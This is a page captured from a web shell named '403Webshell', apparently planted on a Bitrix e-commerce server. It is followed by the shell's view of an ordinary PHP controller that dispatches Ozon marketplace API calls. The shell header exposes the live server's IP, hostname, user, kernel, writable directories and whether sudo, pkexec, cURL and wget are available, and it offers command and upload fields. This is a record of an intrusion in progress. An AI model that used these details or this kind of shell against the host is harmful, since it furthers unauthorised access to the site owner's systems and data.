403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.ozonapinew/lib/Api/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.ozonapinew/lib/Api/Controller.php
<?php
namespace Wbs24\Ozonapinew\Api;

use Bitrix\Main\SystemException;
use Wbs24\Ozonapinew\Api\Fbs;
use Wbs24\Ozonapinew\{
    Exception,
    Accounts
};

class Controller
{
    use Exception; // trait
    use Accounts; // trait

    public function action($data)
    {
        try {
            $action = $data['action'] ?? false;
            $object = false;
            $result = 'error';

            $accountIndex = $data['account_index'] ?? 1;
            $dependencies = $this->getDependencies($accountIndex);
            $returnResponseFromApiUnchanged = false;

            switch ($action) {
                // orders
                case 'collect_order':
                    //$object = new Fbs\Ship($dependencies);
                    $object = new V4\Posting\Fbs\Ship($dependencies);
                    break;
                case 'package_label':
                    $object = new Fbs\PackageLabel($dependencies);
                    break;
                case 'create_act':
                    $object = new Fbs\CreateAct($dependencies);
                    break;
                case 'check_act_status':
                    $dependencies['GetAct'] = new Fbs\GetAct($dependencies);
                    $dependencies['DigitalStatusAct'] = new Fbs\Digital\StatusAct($dependencies);
                    $dependencies['DigitalGetAct'] = new Fbs\Digital\GetAct($dependencies);
                    $object = new Fbs\StatusAct($dependencies);
                    break;
                case 'cancel':
                    $object = new Fbs\Cancel($dependencies);
                    break;

                // delivery services
                case 'get_delivery_services':
                    $dependencies['WarehouseList'] = new Warehouses\WarehouseList($dependencies);
                    $object = new Warehouses\DeliveryMethodList($dependencies);
                    break;

                // track number
                case 'set_track_number':
                    $object = new Fbs\TrackNumber($dependencies);
                    break;

                // change status delivering
                case 'status_delivering':
                    $object = new Rfbs\Statuses\Delivering($dependencies);
                    break;

                // change status delivered
                case 'status_delivered':
                    $object = new Rfbs\Statuses\Delivered($dependencies);
                    break;

                // change status last-mile
                case 'status_last-mile':
                    $object = new Rfbs\Statuses\LastMile($dependencies);
                    break;

                // get warehouses
                case 'get_warehouses_list':
                    $object = new Warehouses\WarehouseList($dependencies);
                    break;

                // products prices
                // get prices info
                case 'get_prices':
                    //$object = new V4\Product\Info\Prices($dependencies);
                    $object = new V5\Product\Info\Prices($dependencies);
                    $returnResponseFromApiUnchanged = true;
                    break;
                // update prices info
                case 'update_prices':
                    $object = new V1\Product\Import\Prices($dependencies);
                    $returnResponseFromApiUnchanged = true;
                    break;

                // products stocks
                // get stocks
                case 'get_products':
                    //$object = new V2\Product\ProductsList($dependencies);
                    $object = new V3\Product\ProductsList($dependencies);
                    $returnResponseFromApiUnchanged = true;
                    break;
                // get products info
                case 'get_more_products_info':
                    //$object = new V2\Product\Info\ProductsList($dependencies);
                    $object = new V3\Product\Info\ProductsList($dependencies);
                    $returnResponseFromApiUnchanged = true;
                    break;
                case 'get_fbo_stocks':
                    //$object = new V3\Product\Info\Stocks($dependencies);
                    $object = new V4\Product\Info\Stocks($dependencies);
                    $returnResponseFromApiUnchanged = true;
                    break;
                case 'get_stocks':
                    $dependencies['WarehouseList'] = new Warehouses\WarehouseList($dependencies);
                    $object = new V1\Product\Info\StocksByWarehouse\Fbs($dependencies);
                    $returnResponseFromApiUnchanged = true;
                    break;
                case 'set_stocks':
                    $object = new V2\Products\Stocks($dependencies);
                    $returnResponseFromApiUnchanged = true;
                    break;
            }

            if ($object) {
                $result = $object->apiLaunch($data);
            }

            // Возвращать исходный ответ от API (без преобразований)
            if ($returnResponseFromApiUnchanged) {
                return $result;
            }

            return $this->processAction($object, [
                'result' => $result,
                'external_id' => $data['posting_number'] ?? '',
                'disabled' => $data['disabled'] ?: '',
                'action' => $action,
                'act_create_id' => $data['act_create_id'] ?? '',
                'attemptsGetPackageLabel' => $data['attemptsGetPackageLabel'] ?? 0,
            ]);
        } catch (SystemException $exception) {
            $this->exceptionHandler($exception);
        }
    }

    protected function processAction($object, $data)
    {
        $result = [
            'result' => 'error',
        ];

        if ($object) {
            $result = $object->processAction($data);
        }

        return json_encode($result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit